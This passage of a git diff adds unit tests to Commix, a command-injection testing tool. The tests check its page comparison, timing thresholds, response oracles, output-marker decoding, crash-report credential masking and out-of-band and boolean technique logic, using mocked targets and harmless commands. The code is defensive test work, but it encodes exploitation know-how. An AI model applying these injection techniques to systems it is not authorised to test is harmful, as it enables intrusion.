answer is compared with has to be what the same request returns with no payload. + The page kept at startup is the target as it was given, which stops being that request once a + short random value stands in for the parameter's own - and a target that writes the value back + answers the two differently whatever the payload did. + """ + def setUp(self): + from src.core.requests import requests + self.requests = requests + self._state = (settings.TESTABLE_VALUE_OPTIMIZED, settings.TESTABLE_VALUE, + settings.ORIGINAL_PAGE, settings.STAND_IN_PAGE, settings.STAND_IN_PAGE_FOR) + self._fetch = requests.page_without_payload + self.asked = [] + settings.ORIGINAL_PAGE = "the page as it arrived" + settings.STAND_IN_PAGE, settings.STAND_IN_PAGE_FOR = "", None + + def tearDown(self): + (settings.TESTABLE_VALUE_OPTIMIZED, settings.TESTABLE_VALUE, + settings.ORIGINAL_PAGE, settings.STAND_IN_PAGE, settings.STAND_IN_PAGE_FOR) = self._state + self.requests.page_without_payload = self._fetch + + def answering(self, page): + def fetch(url, http_request_method): + self.asked.append((url, http_request_method)) + return page + self.requests.page_without_payload = fetch + + def test_the_page_it_arrived_with_is_used_while_it_still_carries_its_own_value(self): + settings.TESTABLE_VALUE_OPTIMIZED = False + self.answering("never asked for") + self.assertEqual("the page as it arrived", checks.comparison_baseline("http://t/", "GET")) + self.assertEqual([], self.asked) + + def test_a_stand_in_is_asked_for_its_own_page_once(self): + settings.TESTABLE_VALUE_OPTIMIZED, settings.TESTABLE_VALUE = True, "QQE" + self.answering("the page the stand-in returns") + for _ in range(3): + self.assertEqual("the page the stand-in returns", checks.comparison_baseline("http://t/", "GET")) + self.assertEqual(1, len(self.asked)) + + def test_a_different_stand_in_is_asked_again(self): + settings.TESTABLE_VALUE_OPTIMIZED, settings.TESTABLE_VALUE = True, "QQE" + self.answering("first") + checks.comparison_baseline("http://t/", "GET") + settings.TESTABLE_VALUE = "ZZT" + self.answering("second") + self.assertEqual("second", checks.comparison_baseline("http://t/", "GET")) + + def test_a_target_that_will_not_answer_leaves_what_was_already_there(self): + settings.TESTABLE_VALUE_OPTIMIZED, settings.TESTABLE_VALUE = True, "QQE" + self.answering(None) + self.assertEqual("the page as it arrived", checks.comparison_baseline("http://t/", "GET")) + +class TheDelayThresholdIsTakenOverASample(unittest.TestCase): + """ + The answers in hand are a sample of what the target does, not all of it, so the spread is taken + over one fewer than there are. The coefficient the spread is multiplied by was chosen for that + estimator; taking it over the count instead narrows the margin without saying so. + """ + def setUp(self): + self._state = (list(settings.RESPONSE_TIMES), list(settings.PROBE_RESPONSE_TIMES), + menu.options.disable_stats) + menu.options.disable_stats = False + settings.PROBE_RESPONSE_TIMES = [] + + def tearDown(self): + (settings.RESPONSE_TIMES, settings.PROBE_RESPONSE_TIMES, menu.options.disable_stats) = self._state + + def test_the_margin_is_the_wider_of_the_two_estimators(self): + # A sample whose own spread is what the margin is made of, rather than one where the share of + # the target's pace below it is the larger of the two and the estimator changes nothing. + import statistics + times = [0.4, 0.9, 0.5, 1.2, 0.6, 0.7, 0.5, 1.1, 0.8, 0.6, 0.9, 0.5, 0.7, 1.0, 0.6] + settings.RESPONSE_TIMES = list(times) + threshold = checks.current_delay_threshold() + mean = statistics.mean(times) + population = mean + settings.TIME_STDEV_COEFF * statistics.pstdev(times) + sample = mean + settings.TIME_STDEV_COEFF * statistics.stdev(times) + self.assertAlmostEqual(sample, threshold, places=6) + self.assertGreater(threshold, population) + + def test_a_sample_too_small_to_spread_has_no_threshold_of_its_own(self): + settings.RESPONSE_TIMES = [0.5] + self.assertIsNone(checks.current_delay_threshold()) + +class TheOracleReadsTheWholeAnswer(unittest.TestCase): + """ + What tells a true answer from a false one is as often something the application set in a header + as anything it rendered, so the whole answer is read - and a pattern is matched the way the + reference for this matches one, without regard to case and line by line. + """ + class Headers(object): + def __init__(self, lines): + self.headers = lines + + def setUp(self): + self._state = (menu.options.string, menu.options.not_string, menu.options.regexp, + menu.options.code, menu.options.lengths) + menu.options.string = menu.options.not_string = menu.options.regexp = None + menu.options.code = None + menu.options.lengths = False + + def tearDown(self): + (menu.options.string, menu.options.not_string, menu.options.regexp, + menu.options.code, menu.options.lengths) = self._state + + def headers(self): + return self.Headers(["Set-Cookie: answered=yes\r\n", "Server: Apache\r\n"]) + + def test_a_string_is_looked_for_in_the_headers_as_well(self): + menu.options.string = "answered=yes" + self.assertTrue(checks.boolean_oracle("nothing in the body", headers=self.headers())) + self.assertFalse(checks.boolean_oracle("nothing in the body")) + + def test_a_string_that_is_not_to_be_there_counts_the_headers_too(self): + menu.options.not_string = "answered=yes" + self.assertFalse(checks.boolean_oracle("nothing in the body", headers=self.headers())) + + def test_a_pattern_reads_the_headers_and_ignores_case(self): + menu.options.regexp = r"set-cookie: ANSWERED" + self.assertTrue(checks.boolean_oracle("nothing in the body", headers=self.headers())) + + def test_a_pattern_anchors_on_the_lines_of_the_answer(self): + # '^' reading the whole answer rather than each of its lines matches nothing below the first. + menu.options.regexp = r"^Server: Apache" + self.assertTrue(checks.boolean_oracle("", headers=self.headers())) + + def test_a_pattern_that_does_not_compile_answers_nothing(self): + menu.options.regexp = "([unclosed" + self.assertIsNone(checks.boolean_oracle("body", headers=self.headers())) + +class APerCentSignACommandPrintedComesBack(unittest.TestCase): + """ + A page is read as a browser reads one, per-cent escapes included - and a command's output is not + a page. An output ending in '%' and a marker beginning with two hex digits were read together as + the one byte they spell, which left no marker to find and answered the command with nothing: the + same output came back whole or not at all depending on which six letters the marker happened to + be given, which is what made it look like a target that answers sometimes. + """ + def _response(self, charset="utf-8"): + served = type("Served", (object,), {})() + served.info = lambda: {"Content-Encoding": "", "Content-Type": "text/html; charset=" + charset} + return served + + def test_an_escape_that_would_reach_into_the_marker_is_left_alone(self): + self.assertEqual(b"a%b%%cEFLMFW", checks.percent_decoded(b"a%b%%cEFLMFW", "EFLMFW")) + self.assertEqual(b"out%EFLMFW", checks.percent_decoded(b"out%EFLMFW", "EFLMFW")) + + def test_the_same_page_is_answered_the_same_way_whichever_marker_was_drawn(self): + for marker in ("EFLMFW", "UZIPIE", "ABCDEF", "QQQQQQ"): + page = ("a%b%%c" + marker).encode(settings.DEFAULT_CODEC) + self.assertEqual(page, checks.percent_decoded(page, marker), "marker " + marker) + + def test_an_escape_the_marker_is_nowhere_near_is_still_read(self): + self.assertEqual(b"a b", checks.percent_decoded(b"a%20b", "EFLMFW")) + self.assertEqual(b"a b", checks.percent_decoded(b"a%20b")) + + def test_the_whole_page_is_read_where_no_marker_was_named(self): + body = b"a%b%%cEFLMFW" + self.assertEqual("a%b%%cEFLMFW", checks.decode_page_body(body, self._response(), guard="EFLMFW") + .replace("", "").replace("", "")) diff --git a/tests/test_common.py b/tests/test_common.py new file mode 100644 index 0000000000..7ff9f27510 --- /dev/null +++ b/tests/test_common.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +""" +The helpers a run leans on away from any target, and the one that decides what a crash report may +carry. Nothing here needs the network; all of it is read by code that does. +""" + +import os +import re +import unittest + +from src.core.parse import cmdline as menu +from src.utils import common +from src.utils import settings + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +CMDLINE = os.path.join(ROOT, "src", "core", "parse", "cmdline.py") + +class ACommandACmdExeCannotBeHandedSaysSo(unittest.TestCase): + """ + The command is written into a 'for /f' clause, and a double quote of its own closes that clause + rather than reaching the shell - so nothing runs. Measured against a cmd.exe: doubling the quote, + escaping it with a caret and swapping the clause for the backquoted form each failed to carry it. + An answer that was never going to arrive is worth telling apart from a command that printed + nothing. + """ + def setUp(self): + self._os = settings.TARGET_OS + + def tearDown(self): + settings.TARGET_OS = self._os + + def test_a_windows_target_is_told_why_the_command_did_not_run(self): + settings.TARGET_OS = settings.OS.WINDOWS + said = common.invalid_cmd_output('echo a"b') + self.assertIn("cannot be carried to a cmd.exe", said) + + def test_a_command_without_one_is_left_unexplained(self): + settings.TARGET_OS = settings.OS.WINDOWS + self.assertNotIn("cannot be carried", common.invalid_cmd_output("echo ab")) + + def test_nothing_is_said_about_a_shell_that_carries_it_perfectly_well(self): + settings.TARGET_OS = settings.OS.UNIX + self.assertNotIn("cannot be carried", common.invalid_cmd_output('echo a"b')) + +class SanitisedReports(unittest.TestCase): + """ + An unhandled exception offers to open a GitHub issue, and what it carries is read by strangers. + Every option that can hold a credential, a token or a target has to be masked before it goes. + """ + # Named for what they select, not for anything they could leak: a scheme, a registry key, a + # delimiter character and a request count. + NOT_A_SECRET = ("--auth-type", "--reg-key", "--cookie-del", "--proxy-freq") + + def _value_options_named_like_a_secret(self): + with open(CMDLINE) as handle: + source = handle.read() + found = set() + for name, body in re.findall(r'add_option\(\s*"(--[a-z0-9-]+)"(.*?)\)\s*\n', source, re.S): + if 'action="store_true"' in body or 'action="store_false"' in body: + continue + if re.search(r"cred|passwd|password|token|secret|auth|cookie|proxy|header|url|host|referer|data", name): + found.add(name) + return found + + def test_the_scan_finds_the_options_at_all(self): + self.assertGreater(len(self._value_options_named_like_a_secret()), 8) + + def test_every_option_that_can_carry_a_secret_is_masked(self): + missing = sorted(_ for _ in self._value_options_named_like_a_secret() + if _ not in settings.SENSITIVE_OPTIONS and _ not in self.NOT_A_SECRET) + self.assertEqual([], missing) + + def test_an_alias_is_masked_as_well_as_the_name_it_stands_for(self): + """ + The report carries what was typed. An alias matches none of the masks written for the name it + is an alias of, so naming only one of the two leaves the other one readable. + """ + with open(CMDLINE) as handle: + source = handle.read() + missing = [] + for alias, name in re.findall(r'\(\s*"(--[a-z0-9-]+)",\s*"(--[a-z0-9-]+)"\s*\)', source): + if name in settings.SENSITIVE_OPTIONS and alias not in settings.SENSITIVE_OPTIONS: + missing.append(alias + " (alias of " + name + ")") + self.assertEqual([], missing) + + def test_a_value_is_masked_whole(self): + # A hyphen inside the value used to end the mask early, leaving the rest of it readable. + self.assertEqual("--auth-cred=", common.mask_sensitive_data("--auth-cred=user:p-ssw0rd")) + self.assertEqual("--auth-cred=", common.mask_sensitive_data('--auth-cred="a b c"')) + self.assertEqual("--proxy-cred ", common.mask_sensitive_data("--proxy-cred admin:hunter2")) + + def test_what_is_not_a_secret_is_left_alone(self): + for text in ("--auth-type basic", "nothing here at all", "--technique=r"): + self.assertEqual(text, common.mask_sensitive_data(text)) + +class SanitisedValues(unittest.TestCase): + """ + A value reaches a report through more than the command line, so each one is masked wherever it + turns up: quoted back by an exception, rebuilt into a URL, printed as part of a path. + """ + def setUp(self): + self.saved = dict((_, getattr(menu.options, _, None)) for _ in settings.SENSITIVE_VALUE_OPTIONS) + menu.options.url = "http://target.example/vuln.php?id=1" + menu.options.auth_cred = "admin:hunter2" + menu.options.proxy_cred = "proxyuser:pr0xyp4ss" + + def tearDown(self): + for name, value in self.saved.items(): + setattr(menu.options, name, value) + + def test_a_value_is_masked_away_from_its_own_option(self): + for text, secret in (("connecting to http://target.example/vuln.php?id=1 failed", "target.example"), + ("basic auth admin:hunter2 rejected", "hunter2"), + ("proxy handshake with proxyuser:pr0xyp4ss timed out", "pr0xyp4ss")): + self.assertNotIn(secret, common.mask_sensitive_data(text), text) + + def test_the_account_name_goes_with_the_home_directory(self): + self.assertNotIn("bob", common.mask_sensitive_data('File "/home/bob/commix/x.py", line 1')) + self.assertNotIn("alice", common.mask_sensitive_data('File "C:\\Users\\alice\\x.py", line 1')) + + def test_the_path_around_it_is_kept(self): + masked = common.mask_sensitive_data('File "/home/bob/commix/src/core/x.py", line 1') + self.assertIn("/commix/src/core/x.py", masked) + + def test_a_short_or_absent_value_is_not_matched(self): + # Masking a one or two character value would blank unrelated text wherever it appeared. + menu.options.auth_cred = "ab" + self.assertEqual("ab cd ab", common.mask_sensitive_data("ab cd ab")) + menu.options.auth_cred = None + self.assertEqual("nothing to mask", common.mask_sensitive_data("nothing to mask")) + + def test_every_value_option_is_a_real_destination(self): + missing = [_ for _ in settings.SENSITIVE_VALUE_OPTIONS if not hasattr(menu.options, _)] + self.assertEqual([], missing) + +class RegexResult(unittest.TestCase): + """ + Reads one named group back, and nothing at all from a pattern that names none - which is how a + caller is stopped from reading a group that moved. + """ + def test_a_named_group_is_read_back(self): + self.assertEqual("7", common.extract_regex_result(r"a(?P\d)c", "xa7cz")) + + def test_a_pattern_without_the_name_answers_nothing(self): + self.assertIsNone(common.extract_regex_result(r"a(\d)c", "xa7cz")) + + def test_no_match_and_no_input_answer_nothing(self): + self.assertIsNone(common.extract_regex_result(r"(?Pzzz)", "xa7cz")) + self.assertIsNone(common.extract_regex_result(r"(?Pa)", "")) + self.assertIsNone(common.extract_regex_result("", "abc")) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_controller.py b/tests/test_controller.py new file mode 100644 index 0000000000..3ac142fdb7 --- /dev/null +++ b/tests/test_controller.py @@ -0,0 +1,332 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import unittest + +from src.utils import settings +from src.core.controller import controller +from src.core.parse import cmdline as menu + +class AStaticParameterIsWorthSayingSo(unittest.TestCase): + """ + The boolean-based technique tells its true from its false by how far two pages differ, so a + parameter that changes no page at all has no answer to give it. Asked for that technique as well + as for '--skip-static', which was the only thing asking before - a run that spent the whole + boundary matrix on such a parameter reported a target as not injectable without ever saying the + one thing it had already measured. + """ + def setUp(self): + self._state = (menu.options.skip_static, menu.options.tech, menu.options.eval_sink) + menu.options.eval_sink = False + + def tearDown(self): + menu.options.skip_static, menu.options.tech, menu.options.eval_sink = self._state + + def test_the_technique_that_compares_pages_asks(self): + menu.options.skip_static = False + menu.options.tech = "b" + self.assertTrue(controller.dynamism_worth_asking()) + + def test_a_run_that_names_no_technique_runs_that_one_too(self): + menu.options.skip_static = False + menu.options.tech = "" + self.assertTrue(controller.dynamism_worth_asking()) + + def test_nothing_reading_a_page_by_comparing_it_leaves_the_request_unspent(self): + menu.options.skip_static = False + for tech in ("r", "t", "f", "rtf"): + menu.options.tech = tech + self.assertFalse(controller.dynamism_worth_asking(), tech + " spent a request on a remark") + + def test_the_switch_that_acts_on_the_answer_still_asks_on_its_own(self): + menu.options.skip_static = True + menu.options.tech = "r" + self.assertTrue(controller.dynamism_worth_asking()) + +class TechniquesCarryingEitherSink(unittest.TestCase): + """ + A technique that reaches both sinks is run against whichever one this run is testing: it is left + out by the flag that skips that sink, it reports the sink it actually proved, and it names the + injection for what it was rather than for the one the other sink would have been. + """ + ARGS = ("http://t/a.php?x=1", 5, "f", "GET") + + def setUp(self): + self._state = (settings.IDENTIFIED_COMMAND_INJECTION, settings.SKIP_CODE_INJECTIONS, + settings.SKIP_COMMAND_INJECTIONS, settings.OOB_STATE, + settings.BOOLEAN_BASED_STATE, settings.VERBOSITY_LEVEL, + menu.options.eval_sink, menu.options.oob, menu.options.tech) + self._handlers = (controller.oob_handler.exploitation, controller.bb_handler.exploitation) + settings.IDENTIFIED_COMMAND_INJECTION = False + settings.SKIP_CODE_INJECTIONS = False + settings.SKIP_COMMAND_INJECTIONS = False + settings.VERBOSITY_LEVEL = 0 + menu.options.oob = True + menu.options.tech = "" + # Named rather than left standing for all of them, so the per-language sweep answers at once. + menu.options.eval_sink = None + self.sent = [] + def answered(url, timesec, filename, http_request_method, injection_type, technique, *rest): + self.sent.append((technique, injection_type)) + return "proved" + controller.oob_handler.exploitation = answered + controller.bb_handler.exploitation = answered + + def tearDown(self): + (settings.IDENTIFIED_COMMAND_INJECTION, settings.SKIP_CODE_INJECTIONS, + settings.SKIP_COMMAND_INJECTIONS, settings.OOB_STATE, + settings.BOOLEAN_BASED_STATE, settings.VERBOSITY_LEVEL, + menu.options.eval_sink, menu.options.oob, menu.options.tech) = self._state + (controller.oob_handler.exploitation, controller.bb_handler.exploitation) = self._handlers + + def run_oob(self): + controller.oob_command_injection_technique(*self.ARGS) + + def run_boolean(self): + controller.boolean_based_technique(*self.ARGS) + + def test_the_out_of_band_technique_is_left_out_with_the_sink_it_carries(self): + # It had a skip flag of its own that nothing ever wrote, so no sink being settled could leave + # it out and it was the one technique that ran whatever had already been established. + settings.SKIP_COMMAND_INJECTIONS = True + self.run_oob() + self.assertEqual([], self.sent) + + def test_a_settled_command_sink_does_not_leave_out_the_code_injection_pass(self): + menu.options.eval_sink = "php" + settings.SKIP_COMMAND_INJECTIONS = True + self.run_oob() + self.assertEqual(1, len(self.sent)) + + def test_a_settled_code_sink_leaves_out_the_code_injection_pass(self): + menu.options.eval_sink = "php" + settings.SKIP_CODE_INJECTIONS = True + self.run_oob() + self.assertEqual([], self.sent) + + def test_what_the_out_of_band_technique_proved_is_the_sink_it_was_run_against(self): + menu.options.eval_sink = "php" + self.run_oob() + self.assertEqual([(settings.INJECTION_TECHNIQUE.OOB, settings.INJECTION_TYPE.BLIND_CE)], self.sent) + self.assertTrue(settings.OOB_STATE) + + def test_a_code_injection_finding_is_not_recorded_as_a_command_one(self): + # The flag is what makes the run say a command shell answered as well, which casts doubt on a + # code injection finding - so a technique that only ever proved the code sink leaves it alone. + menu.options.eval_sink = "php" + for run in (self.run_oob, self.run_boolean): + settings.IDENTIFIED_COMMAND_INJECTION = False + run() + self.assertFalse(settings.IDENTIFIED_COMMAND_INJECTION, run.__name__ + " claimed command injection") + + def test_a_command_injection_finding_still_is(self): + for run in (self.run_oob, self.run_boolean): + settings.IDENTIFIED_COMMAND_INJECTION = False + run() + self.assertTrue(settings.IDENTIFIED_COMMAND_INJECTION, run.__name__ + " proved nothing") + + def test_the_flag_nothing_ever_wrote_is_gone(self): + self.assertFalse(hasattr(settings, "SKIP_OOB_INJECTIONS")) + + def test_a_shell_answering_does_not_settle_a_sink_that_was_asked_for_by_name(self): + """ + Pinned on the source, since reaching the conclusion itself takes a live channel and a target + that answers on it. Both heuristics set the flag the code injection techniques read, so a shell + answering either of them would otherwise leave every one of them skipping itself. + """ + import inspect + for heuristic in (controller.oob_heuristic_basic, controller.command_injection_heuristic_basic): + source = inspect.getsource(heuristic) + self.assertIn("if not menu.options.eval_sink:", source, + heuristic.__name__ + " settles the sink whatever was asked for") + +if __name__ == "__main__": + unittest.main() + +class EachCommandRunsOnceInTheFormSettledBeforeIt(unittest.TestCase): + """ + How a results-based answer is read - plainly, or exactly as printed through a more complex + payload - is settled before the first command the user asked for, and every command then runs a + single time. Settled after an output was read, the only way to read that output exactly is to run + the command again, and a command with an effect of its own would have it twice. The target is + asked first whether it has 'awk', by name: where it does not, there is nothing to ask the user. + """ + def setUp(self): + from src.core.controller import execution + from src.utils import common + self.execution, self.common = execution, common + self._kept = (settings.RESULTS_BASED_EXACT_OUTPUT, settings.EXACT_OUTPUT_CHOICE, + settings.EXPLOITATION_STARTED, settings.TIME_RELATED_ATTACK, settings.URL_RELOAD, + common.read_input, settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + dict(settings.TAMPER_SCRIPTS), settings.TARGET_OS, menu.options.interpreter, + menu.options.batch) + settings.RESULTS_BASED_EXACT_OUTPUT = False + settings.EXACT_OUTPUT_CHOICE = None + settings.EXPLOITATION_STARTED = True + settings.TIME_RELATED_ATTACK = False + settings.URL_RELOAD = False + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + for name in settings.TAMPER_SCRIPTS: + settings.TAMPER_SCRIPTS[name] = False + settings.TARGET_OS = settings.OS.UNIX + menu.options.interpreter = None + menu.options.batch = False + self.asked, self.sent, self.commands = [], [], [] + + def tearDown(self): + (settings.RESULTS_BASED_EXACT_OUTPUT, settings.EXACT_OUTPUT_CHOICE, + settings.EXPLOITATION_STARTED, settings.TIME_RELATED_ATTACK, settings.URL_RELOAD, + self.common.read_input, settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + scripts, settings.TARGET_OS, menu.options.interpreter, menu.options.batch) = self._kept + settings.TAMPER_SCRIPTS.clear() + settings.TAMPER_SCRIPTS.update(scripts) + + def _answers(self, answer): + asked = self.asked + def read_input(message, default=None, check_batch=True): + asked.append(message) + return answer + self.common.read_input = read_input + + def fire(self, answers, cmd="id"): + # What the target answers, in the order it is asked - each a list of what the markers enclosed, + # an empty one being markers that never came back. + sent, said, commands = self.sent, list(answers), self.commands + class Injector(object): + @staticmethod + def injection(*args, **kwargs): + sent.append(settings.RESULTS_BASED_EXACT_OUTPUT) + commands.append(args[2]) + return "response" + @staticmethod + def injection_results(*args, **kwargs): + return said.pop(0) + run = self.execution.make_simple_execute_cmd( + Injector, ";", 10, "TAG", "", "", " ", 5, "GET", "http://t/", "p", None, "f", + 0, settings.INJECTION_TECHNIQUE.RESULTS_BASED, "") + return run(cmd) + + def test_a_yes_reads_the_first_command_exactly_and_runs_it_once(self): + self._answers("y") + self.assertEqual("a b", self.fire([["/usr/bin/awk"], ["a b"]], cmd="ls")) + self.assertEqual([settings.AWK_PRESENCE_CHECK, "ls"], self.commands) + self.assertEqual([False, True], self.sent) + self.assertEqual(1, len(self.asked)) + + def test_a_no_reads_it_plainly_and_runs_it_once(self): + self._answers("n") + self.assertEqual("a b", self.fire([["/usr/bin/awk"], ["a b"]], cmd="ls")) + self.assertEqual([settings.AWK_PRESENCE_CHECK, "ls"], self.commands) + self.assertEqual([False, False], self.sent) + + def test_a_target_without_awk_is_not_asked_about_it(self): + self._answers("y") + self.assertEqual("a b", self.fire([[""], ["a b"]], cmd="ls")) + self.assertEqual([], self.asked) + self.assertEqual([settings.AWK_PRESENCE_CHECK, "ls"], self.commands) + self.assertFalse(settings.RESULTS_BASED_EXACT_OUTPUT) + + def test_batch_sends_neither_the_check_nor_the_question(self): + self._answers("y") + menu.options.batch = True + self.assertEqual("a b", self.fire([["a b"]], cmd="ls")) + self.assertEqual(["ls"], self.commands) + self.assertEqual([], self.asked) + + def test_batch_with_a_yes_given_by_name_checks_and_reads_exactly(self): + self._answers("y") + menu.options.batch = True + kept, settings.ANSWERS = settings.ANSWERS, "preserve whitespace=y" + try: + self.assertEqual("a b", self.fire([["/usr/bin/awk"], ["a b"]], cmd="ls")) + finally: + settings.ANSWERS = kept + self.assertEqual([settings.AWK_PRESENCE_CHECK, "ls"], self.commands) + self.assertEqual([False, True], self.sent) + + def test_batch_with_a_no_given_by_name_sends_nothing_extra(self): + menu.options.batch = True + kept, settings.ANSWERS = settings.ANSWERS, "preserve whitespace=n" + try: + self.fire([["a b"]], cmd="ls") + finally: + settings.ANSWERS = kept + self.assertEqual(["ls"], self.commands) + + def test_the_form_is_settled_once_for_the_target(self): + self._answers("y") + self.fire([["/usr/bin/awk"], ["x"]], cmd="ls") + self.commands[:] = [] + self.fire([["y"]], cmd="id") + self.assertEqual(["id"], self.commands) + self.assertEqual(1, len(self.asked)) + + def test_nothing_is_asked_before_the_commands_the_user_asked_for(self): + # A web root, a shell type - the run's own commands during detection are read plainly. + self._answers("y") + settings.EXPLOITATION_STARTED = False + self.assertEqual("/var/www", self.fire([["/var/www"]], cmd="pwd")) + self.assertEqual(["pwd"], self.commands) + self.assertIsNone(settings.EXACT_OUTPUT_CHOICE) + + def test_nothing_is_asked_where_a_yes_would_change_nothing(self): + self._answers("y") + settings.TARGET_OS = settings.OS.WINDOWS + self.fire([["a b"]]) + settings.TARGET_OS = settings.OS.UNIX + menu.options.interpreter = "python" + self.fire([["a b"]]) + menu.options.interpreter = None + settings.TAMPER_SCRIPTS["space2ifs"] = True + self.fire([["a b"]]) + self.assertEqual([], self.asked) + self.assertEqual(["id", "id", "id"], self.commands) + + def test_an_empty_output_is_not_a_reason_to_run_the_command_again(self): + # The markers came back around nothing: the command ran and printed nothing. + settings.RESULTS_BASED_EXACT_OUTPUT = True + settings.EXACT_OUTPUT_CHOICE = True + self.assertEqual("", self.fire([[""]], cmd="touch f")) + self.assertEqual(["touch f"], self.commands) + self.assertTrue(settings.RESULTS_BASED_EXACT_OUTPUT) + + def test_an_unanswered_complex_payload_is_sent_once_more_the_plain_way(self): + # No markers at all: the payload never ran, so the plain one runs the command the first time. + settings.RESULTS_BASED_EXACT_OUTPUT = True + settings.EXACT_OUTPUT_CHOICE = True + self.assertEqual("a b", self.fire([[], ["a b"]], cmd="ls")) + self.assertEqual([True, False], self.sent) + self.assertFalse(settings.RESULTS_BASED_EXACT_OUTPUT) + +class WhatStoodInForOneParametersValueIsNotCarriedToTheNext(unittest.TestCase): + """ + A parameter the sink did not need the value of leaves that value on record. The next parameter is + tested with its own value from the first request, so a finding of its own written out with the + last one's value in front of it names a request that was never sent. + """ + def setUp(self): + self._state = (settings.TESTABLE_VALUE_OPTIMIZED, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.TECHNIQUES_BEFORE_NARROWING, menu.options.tech) + + def tearDown(self): + (settings.TESTABLE_VALUE_OPTIMIZED, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.TECHNIQUES_BEFORE_NARROWING, menu.options.tech) = self._state + + def test_the_value_that_was_stood_in_for_is_put_down_with_the_parameter(self): + settings.TESTABLE_VALUE_OPTIMIZED = True + settings.TESTABLE_VALUE_STOOD_IN_FOR = "127.0.0.1" + controller.reset_parameter_state() + self.assertFalse(settings.TESTABLE_VALUE_OPTIMIZED) + self.assertEqual("", settings.TESTABLE_VALUE_STOOD_IN_FOR) diff --git a/tests/test_datafiles.py b/tests/test_datafiles.py new file mode 100644 index 0000000000..390cf38de5 --- /dev/null +++ b/tests/test_datafiles.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +""" +The word lists and the tamper contract. A file that moved, emptied or picked up a duplicate costs +nothing at import time and shows up only as a run quietly looking for less than it used to. +""" + +import os +import unittest + +from tests._testutils import tamper_modules +from src.utils import settings + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +TEXT_FILES = os.path.join(ROOT, "data", "txt") + +def text_files(): + return sorted(_ for _ in os.listdir(TEXT_FILES) if _.endswith(".txt")) + +class WordLists(unittest.TestCase): + def test_the_sweep_finds_the_files_at_all(self): + self.assertGreater(len(text_files()), 3) + + def test_every_list_is_readable_and_holds_something(self): + empty = [] + for name in text_files(): + with open(os.path.join(TEXT_FILES, name), "rb") as handle: + if not handle.read().strip(): + empty.append(name) + self.assertEqual([], empty) + + def test_no_list_repeats_an_entry(self): + # A duplicate is wasted requests, one per repeat, on every run that reads the list. + offenders = [] + for name in text_files(): + with open(os.path.join(TEXT_FILES, name), "rb") as handle: + entries = [_.strip() for _ in handle.read().decode(settings.DEFAULT_CODEC).splitlines() + if _.strip() and not _.strip().startswith("#")] + if len(entries) != len(set(entries)): + repeated = sorted(set(_ for _ in entries if entries.count(_) > 1)) + offenders.append(name + ": " + ", ".join(repeated[:5])) + self.assertEqual([], offenders) + + def test_the_lists_the_code_names_are_the_lists_on_disk(self): + missing = [] + for name in dir(settings): + value = getattr(settings, name) + if isinstance(value, str) and value.endswith(".txt") and os.sep in value: + if not os.path.isfile(value): + missing.append(name + " -> " + value) + self.assertEqual([], missing) + +class TamperContract(unittest.TestCase): + """ + What the loader calls on every script it is given, and what it would raise on if absent. + """ + def test_the_sweep_finds_the_scripts_at_all(self): + self.assertGreater(len(tamper_modules()), 40) + + def test_every_script_offers_a_callable_tamper(self): + offenders = [name for name, module in tamper_modules().items() + if not callable(getattr(module, "tamper", None))] + self.assertEqual([], offenders) + + def test_every_dependency_check_is_callable(self): + offenders = [] + for name, module in tamper_modules().items(): + dependency = getattr(module, "dependencies", None) + if dependency is not None and not callable(dependency): + offenders.append(name) + self.assertEqual([], offenders) + + def test_every_priority_is_one_of_the_declared_tiers(self): + tiers = set(getattr(settings.PRIORITY, _) for _ in dir(settings.PRIORITY) if _.isupper()) + offenders = [] + for name, module in tamper_modules().items(): + priority = getattr(module, "__priority__", None) + if priority is not None and priority not in tiers: + offenders.append(name + ": " + str(priority)) + self.assertEqual([], offenders) + + def test_a_dependency_check_hands_back_a_reason_or_nothing(self): + # The loader prints whatever comes back, so anything but a string reads as a broken message. + settings.TARGET_OS = settings.OS.UNIX + offenders = [] + for name, module in tamper_modules().items(): + dependency = getattr(module, "dependencies", None) + if not callable(dependency): + continue + try: + answer = dependency() + except Exception as error: + offenders.append(name + ": raised " + type(error).__name__) + continue + if answer is not None and not isinstance(answer, str): + offenders.append(name + ": " + type(answer).__name__) + self.assertEqual([], offenders) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_grammars.py b/tests/test_grammars.py new file mode 100644 index 0000000000..5beec48a4a --- /dev/null +++ b/tests/test_grammars.py @@ -0,0 +1,262 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import glob +import shutil +import tempfile +import importlib +import subprocess +import unittest + + +# What every evaluated language has to say about itself for the techniques to speak it. +REQUIRED = ("NAME", "LABEL", "TERMINATOR", "PROBE", "PROBE_REGEX", + 